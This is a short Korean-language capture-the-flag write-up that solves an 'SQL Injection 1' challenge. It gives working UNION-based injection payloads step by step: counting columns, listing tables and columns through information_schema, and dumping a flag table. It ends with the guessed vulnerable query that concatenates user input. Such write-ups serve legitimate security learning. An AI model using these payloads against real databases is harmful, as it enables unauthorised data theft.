ctf 풀이 (SQL Injection 1)

ctf 문제 풀이

 

SQL Injection 1

풀이

1> sql injection 확인

ma%' and '1' = '1' # 을 실행해서 sql injection이 가능하다는 것을 확인했습니다.

 

2> column 개수 확인하기

ma%' order by 5# 을 했을 때 데이터가 출력되지 않으므로, column의 개수는 4개로 확인됩니다.

 

3> 출력되는 column의 위치 찾기

ma%' union select 1,2,3,4 #을 통해 4개의 column 중 몇 번째가 출력되는지 확인했습니다.

4개 모두 출력이 됩니다.

 

4> db명 알아내기(sqli_1)

ma%' union select 1,2,3,database() #으로 db의 이름을 추출합니다.

 

5> table이름 알아내기 (flag_table, plusFlag_Table, user_info)

ma%' union select 1,2,3,table_name from information_schema.tables where table_schema='sqli_1'#

information_schema라는 db의 tables 테이블에서 db명이 sqli_1인 테이블의 이름을 추출합니다.

 

6> column명 알아내기 (flag)

ma%' union select 1,2,3,column_name from information_schema.columns 

where table_schema='sqli_1' and table_name='flag_table'#

db가 sqli_1이고 테이블이 flag_table인 column의 이름을 추출합니다.

 

7> 데이터 추출하기

ma%' union select 1,2,3,flag from flag_table #

 

예상 sql문

$sql = "select * from user_info where id like '%$user_input%'";